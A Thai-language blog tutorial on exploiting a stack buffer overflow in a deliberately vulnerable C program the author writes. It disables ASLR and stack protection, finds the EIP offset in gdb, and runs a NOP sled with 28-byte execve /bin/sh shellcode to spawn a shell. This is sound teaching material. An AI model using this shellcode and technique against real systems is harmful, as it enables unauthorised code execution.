How to hack back to the basic Episode 0 Buffer Overflow

หลังจากที่ผมได้ปล่อยบทความ How to hack back to the basic และ How to hack back to the basic Episode [1.5] ไปแล้วนั้นเชื่อว่าหลายๆท่านอาจจะยังไม่เข้าใจในหลายส่วนของบทความ แต่ที่ผมปล่อยบทความนั้นออกไปก่อนเพราะว่ามันดูสนุกกว่าเริ่มต้นจากพื้นฐานอาจจะน่าเบื่อสำหรับหลายๆท่าน ที่นี้เราจะมาดู Episode ย้อนหลังกลับมาสักหน่อยนั้นคือ Episode [zero] หรือ Episode [0] นั้นเอง เราจะได้มีความเข้าใจในส่วนของพื้นฐานมากขึ้นโดยครั้งนี้เราจะเขียนโปรแกรมขึ้นมาแล้วก็ hack โปรแกรมที่เราเขียนขึ้นมาเพื่อให้ง่ายต่อการทำความเข้าใจ

ขั้นแรกเรามารู้จัก virtual memory กันก่อน

Virtual Memory

ที่มาของรูป : http://stackoverflow.com/questions/2048007/linux-ia-32-memory-model

รายละเอียด section ต่างใน virtual memory
1.)Text ส่วนนี้เก็บ machine code พวก instructions
2.)Data ส่วนนี้เก็บตัวแปรที่ประกาศเอาไว้และกำหนดค่าเริ่มต้นแล้ว
เช่น int a = 10;
3.)BSS ส่วนนี้เก็บตัวแปรที่ประกาศเอาไว้แต่ยังไม่ได้กำหนดค่าเริ่มต้น
เช่น  int a;
4.)Heap ส่วนนี้เกี่ยวกับการจัดสรร Memory allocation ต่างๆ
5.)Stack ส่วนนี้เก็บข้อมูลจากพวก Function  ต่างๆ

จะเห็นว่าในส่วนของ Heap และ Stack สามารถขยายเพิ่มลดได้แต่ส่วน Data และ BSS นั้นจะถูกจองหน่วยความจำที่แน่นอนเป็นของตัวเอง

การทำงานของโปรแกรมใน memory
1.)อ่านคำสั่งที่ EIP register กำลังชี้อยู่
2.)ตรวจสอบว่าคำสั่งนั้นใช้พื้นที่ขนาดกี่ byte และบวกจำนวน byte นั้นเข้าไปใน EIP register
3.)Excute คำสั่งที่อ่านจากหน่วยความจำในข้อมหนึ่ง
4.)กลับไปทำข้อ 1 Loop ไปเรื่อยๆจนจบโปรแกรม

Register  ที่สำคัญในบทความนี้(อธิบายแบบบ้านๆ)
1.)EIP คือ Register ชี้ไปที่คำสั่งที่กำลังจะทำงาน
2.)ESP คือ Register ที่เก็บตำแหน่งที่ Stack บนสุดอยู่
3.)EBP คือฐานของ Stack โดย Stack จะไล่จาก Address สูงไปต่ำ
4.)EAX,EBX,ECX,EDX คือ Register เก็บข้อมูลทั่วไป

 

โปรแกรมที่ใช้

1.)GCC (GNU Compiler Collection)เอาไว้ใช้ Compile Code ภาษา ต่างๆ เป็น Binary Code

2.)GDB(The GNU Project Debugger)เอาไว้ใช้ debug หรือ disassemble binary code ให้อยู่ในรูป assembly (ถึงจะดูยากแต่มันดูง่ายกว่า binary code แน่ๆ :D)

โดย OS ที่ผมใช้ในการทดลองครั้งนี้คือเจ้า Blackbuntu 0.2 (Ubuntu 10.10 ,Kernel 2.6.35-28-generic)

ขั้นแรกเรามาปิดในส่วนของการ randomizing address space ของ OS ก่อน ผมเข้าใจว่า security feature นี้ถูกนำมาใช้ตั้งแต่ Linux kernel 2.6 ขึ้นไป(ไม่ชัวร์)โดยปิดได้ใส่  “0” เข้าไปใน file ดังกล่าวด้วยคำสั่ง

root@ERROR:~# echo "0" > /proc/sys/kernel/randomize_va_space

หลังจากนั้นก็ทำการเขียนโปรแกรมง่ายๆขึ้นมาด้วยภาษา C

#include <stdio.h>
#include <string.h>

int main(int argc, char** argv){

    char buffer[500];
    strcpy(buffer, argv[1]);
    return 0;

}

สิ่งที่โปรแกรมนี้ทำก็คือจอง buffer เอาไว้ 500 bytes และรับ argument จาก standard input

เราจะมา compile เจ้าโปรแกรมนี้ด้วย gcc กัน

error@ERROR:~/bof$ gcc overflow.c -o overflow -ggdb -fno-stack-protector -z execstack

สำหรับ options ในการ compile นี้ก็คือ ให้สามารถ execute instructions ใน stack ได้และยกเลิกการป้องกันในส่วนของ stack และเพิ่มส่วนช่วยให้ gdb debug และ compile ให้ไฟล์ชื่อว่า overflow

ผมลอง run โปรแกรมนี้แล้วใส่ Input ไป 515 bytes โดยใช้ perl ช่วยในการใส่ input

error@ERROR:~/bof$ ./overflow &nbsp;`perl -e 'print "A" x 515 '`

Segmentation fault

จะเห็นว่ามีความผิดพลาดเกิดขึ้น เราจะมาลอง disassemble ด้วย gdb

error@ERROR:~/bof$ gdb -q overflow
Reading symbols from /home/error/bof/overflow...done.
(gdb) list
1#include <stdio.h>
2#include <string.h>
3
4int main(int argc, char** argv)
5{
6char buffer[500];
7strcpy(buffer, argv[1]);
8return 0;
9}

(gdb) disas main

Dump of assembler code for function main:
   0x080483c4 <+0>:push   %ebp
   0x080483c5 <+1>:mov    %esp,%ebp
   0x080483c7 <+3>:and    $0xfffffff0,%esp
   0x080483ca <+6>:sub    $0x210,%esp
   0x080483d0 <+12>:mov    0xc(%ebp),%eax
   0x080483d3 <+15>:add    $0x4,%eax
   0x080483d6 <+18>:mov    (%eax),%eax
   0x080483d8 <+20>:mov    %eax,0x4(%esp)
   0x080483dc <+24>:lea    0x1c(%esp),%eax
   0x080483e0 <+28>:mov    %eax,(%esp)
   0x080483e3 <+31>:call   0x80482f4 <strcpy@plt>
   0x080483e8 <+36>:mov    $0x0,%eax
   0x080483ed <+41>:leave
   0x080483ee <+42>:ret

End of assembler dump.

ข้างบนนี้คือ code ของโปรแกรมที่เราเขียนทั้งในรูปภาษา C และ assembly ที่เครื่องคอมเราทำงานจริงๆ

เราจะ run โปรแกรมใหม่และใส่ Input เข้าไป 515 ตัว

(gdb)  run  `perl -e 'print "A" x 515'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/error/bof/overflow `perl -e 'print "A" x 515'`
Program received signal SIGSEGV, Segmentation fault.

0x00414141 in ?? ()

จากข้างบน 0x00414141 จะเห็นว่ามี A เข้าไปอยู่ในส่วนที่  ESP register แล้วสามตัว (ASCII 41 = A) หมายความว่าถ้าเราใส่ input 516 ตัว input ตัว 513, 514, 515, 516 จะไปทับค่าใน EIP register พอดี

ทีนี้เราจะแก้ไข input ที่เราส่งไป และไปดูในส่วนของ stack ว่ามันเขียนอะไรไปมั้ง

โดยผมจะ Set Breakpoint ไว้ที่บรรทัดที่ 8 นั้นคือ return 0; หรือตำแหน่ง 0x80483e8 เพื่อไม่ให้โปรแกรมจบการทำงานทันทีเมื่อเราใส่ input

ในส่วนของ Input ผมจะแนบ shellcode ไปด้วยโดยใน shellcode นี้มันก็คือให้มันเปิดโปรแกรม /bin/sh นั้นเอง

code ของ shellcode ที่เราจะใช้คือ

/*
Name : 28 bytes "/bin/sh" shellcode -
execve(/bin/sh,[/bin/sh,null,null],null)
Info : A woking shellcode for bof exploit
Author : otoy
Blog : http://otoyrood.wordpress.com
Date : August 2010
Tested on: ubuntu 8.04 & Backtrack 4
*/

#include <stdio.h>

char shellcode[] =
"\x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
"\x69\x89\xe3\x89\xc1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80";

int main(void)
{
fprintf(stdout,"[*] Shellcode length: %d\n",strlen(shellcode));
((void (*)(void)) shellcode)();

return 0;
}

ที่มา : http://otoyrood.wordpress.com/2010/08/24/28-bytes-%E2%80%9Cbinsh%E2%80%9D-shellcode-for-bof-exploit/

เราจะทำการ run โปรแกรมโดยใส่ no operation หรือ \x90 ก่อนแล้วตามด้วย shellcode และ AAAA

(gdb)  run   `perl -e 'print "\x90" x 300 . "\x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xc1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80" . "\x90" x 184 . "AAAA" '`

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /home/error/bof/overflow `perl -e 'print "\x90" x 300 . "\x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xc1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80" . "\x90" x 184 . "AAAA" '`



Program received signal SIGSEGV, Segmentation fault.

0x41414141 in ?? ()

(gdb) break 8

Breakpoint 2 at 0x80483e8: file overflow.c, line 8.

(gdb)  run   `perl -e 'print "\x90" x 300 . "\x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xc1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80" . "\x90" x 184 . "AAAA" '`

The program being debugged has been started already.

Start it from the beginning? (y or n) y



Starting program: /home/error/bof/overflow `perl -e 'print "\x90" x 300 . "\x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xc1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80" . "\x90" x 184 . "AAAA" '`



Breakpoint 2, main (argc=0, argv=0xbffff1a4) at overflow.c:8

8return 0;

(gdb) i r esp

esp            0xbfffeee00xbfffeee0

(gdb) x/150xw 0xbfffeee0

0xbfffeee0:0xbfffeefc0xbffff33e0x0012cff40x0012d53c

0xbfffeef0:0x000000000x0012cf8c0x0012d0200x90909090

0xbfffef00:0x909090900x909090900x909090900x90909090

0xbfffef10:0x909090900x909090900x909090900x90909090

0xbfffef20:0x909090900x909090900x909090900x90909090

0xbfffef30:0x909090900x909090900x909090900x90909090

0xbfffef40:0x909090900x909090900x909090900x90909090

0xbfffef50:0x909090900x909090900x909090900x90909090

0xbfffef60:0x909090900x909090900x909090900x90909090

0xbfffef70:0x909090900x909090900x909090900x90909090

0xbfffef80:0x909090900x909090900x909090900x90909090

0xbfffef90:0x909090900x909090900x909090900x90909090

0xbfffefa0:0x909090900x909090900x909090900x90909090

0xbfffefb0:0x909090900x909090900x909090900x90909090

0xbfffefc0:0x909090900x909090900x909090900x90909090

0xbfffefd0:0x909090900x909090900x909090900x90909090

0xbfffefe0:0x909090900x909090900x909090900x90909090

0xbfffeff0:0x909090900x909090900x909090900x90909090

---Type <return> to continue, or q <return> to quit---

0xbffff000:0x909090900x909090900x909090900x90909090

0xbffff010:0x909090900x909090900x909090900x90909090

0xbffff020:0x909090900x909090900xc289c0310x2f6e6850

0xbffff030:0x2f6868730x8969622f0xb0c189e30x5351520b

0xbffff040:0x80cde1890x909090900x909090900x90909090

0xbffff050:0x909090900x909090900x909090900x90909090

0xbffff060:0x909090900x909090900x909090900x90909090

0xbffff070:0x909090900x909090900x909090900x90909090

0xbffff080:0x909090900x909090900x909090900x90909090

0xbffff090:0x909090900x909090900x909090900x90909090

0xbffff0a0:0x909090900x909090900x909090900x90909090

0xbffff0b0:0x909090900x909090900x909090900x90909090

0xbffff0c0:0x909090900x909090900x909090900x90909090

0xbffff0d0:0x909090900x909090900x909090900x90909090

0xbffff0e0:0x909090900x909090900x909090900x90909090

0xbffff0f0:0x909090900x909090900x909090900x41414141

0xbffff100:0x000000000xbffff1a40xbffff1b00x00130848

0xbffff110:0xbffff2600xffffffff0x0012cff40x0804822c

---Type <return> to continue, or q <return> to quit---

0xbffff120:0x000000010xbffff1600x0011e1360x0012dad0

0xbffff130:0x00130b280x002a3ff4

 

สังเกตุในส่วนต่อไปนี้

0xbffff010:0x909090900x909090900x909090900x90909090

0xbffff020:0x909090900x909090900xc289c0310x2f6e6850

0xbffff030:0x2f6868730x8969622f0xb0c189e30x5351520b

0xbffff040:0x80cde1890x909090900x909090900x90909090

สิ่งที่เราต้องการทำ เปลี่ยน EIP register ให้ชี้ไปที่ตำแหน่งก่อนหน้าที่ shellcode อยู่เพื่อให้มันกลับไป execute shellcode โดยเราจะเปลี่ยนจาก “AAAA” เป็นตำแหน่งที่เราจะย้อนกลับไป ตำแหน่งไหนก็ได้ ก่อนตำแหน่งที่ shellcode อยู่ ในที่นี้ผมเลือก 0xbfffef30 ผมใส่เป็น “\x30\xef\xff\xbf” เพราะเป็น little-endian

(gdb)  run   `perl -e 'print "\x90" x 300 . "\x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xc1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80" . "\x90" x 184 . "\x30\xef\xff\xbf" '`

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /home/error/bof/overflow `perl -e 'print "\x90" x 300 . "\x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xc1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80" . "\x90" x 184 . "\x30\xef\xff\xbf" '`

Breakpoint 2, main (argc=0, argv=0xbffff1a4) at overflow.c:8

8return 0;

(gdb) delete

Delete all breakpoints? (y or n) y

(gdb)  run   `perl -e 'print "\x90" x 300 . "\x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xc1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80" . "\x90" x 184 . "\x30\xef\xff\xbf" '`

The program being debugged has been started already.

Start it from the beginning? (y or n) y



Starting program: /home/error/bof/overflow `perl -e 'print "\x90" x 300 . "\x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xc1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80" . "\x90" x 184 . "\x30\xef\xff\xbf" '`

process 22943 is executing new program: /bin/dash

$ ls

overflow  overflow.c

$

 

 

ตามรูป return คือตรงที่เราทำ overflow ไปทับ EIP register ตอนมัน return เราสามารถที่จะให้มัน return ไปตำแหน่งไหนก็ได้

จากข้างบนจะเห็นว่าเราสามารถ execute shellcode สำเร็จและสามารถสร้าง process ใหม่ขึ้นมาคือ /bin/sh ได้นั้นเอง ขั้นสุดท้ายเราจะมาทดสอบนอก gdb กัน

error@ERROR:~/bof$ ./overflow  `perl -e 'print "\x90" x 300 . "\x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xc1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80" . "\x90" x 184 . "\x30\xef\xff\xbf" '`

$ ls
overflow  overflow.c
$ cat overflow.c
#include <stdio.h>
#include <string.h>

int main(int argc, char** argv){

char buffer[500];
strcpy(buffer, argv[1]);
return 0;

}

$

 

จะเห็นว่าก็สามารถ Run Shellcode ได้สำเร็จเช่นกัน

 

สรุป ผมยอมรับว่าสำหรับมือใหม่บทความนี้ค่อนข้างจะเข้าใจยากทั้งที่มันเป็นเรื่องที่ basic ที่สุดในการ hack (ยังไม่ได้มีส่วนในการ bypass ระบบป้องกันใดๆเลย) ถ้าใจรักจริงผมแนะนำให้ค่อยๆทำตามทีละ step ติดตรงไหนก็สามารถ comments ถามได้ สำหรับเซียนท่านไหนที่เข้ามาอ่านแล้วเห็นว่าส่วนไหนที่ผมเขียนยังไม่ถูกต้องสามารถ comments บอกให้ผมแก้ไขได้เลยครับ 😀

 

Reference Shellcode :  http://otoyrood.wordpress.com/2010/08/24/28-bytes-%E2%80%9Cbinsh%E2%80%9D-shellcode-for-bof-exploit/

สามารถอ่านหัวข้อ Episode ต่างๆได้ที่นี้

0.)http://blog.mayaseven.com/how-to-hack-back-to-the-basic-episode-0-buffer-overflow

1.)http://blog.mayaseven.com/how-to-hack-back-to-the-basic-episode-1-remote-buffer-overflow/

1.5)http://blog.mayaseven.com/how-to-hack-back-to-the-basic-episode-1-5-deface-web/

#เขียนโดย MaYaSeVeN 

buffer overflow, how to hack, stack overflow, virtual memory, x86
Previous Post
วิธีใช้ Android Phone ทดสอบ Android app ที่เราเขียน
Next Post
How to hack back to the basic Episode 1.5 Deface Web

Related Posts

Leave a Reply

Your email address will not be published. Required fields are marked *

Fill out this field
Fill out this field
Please enter a valid email address.
You need to agree with the terms to proceed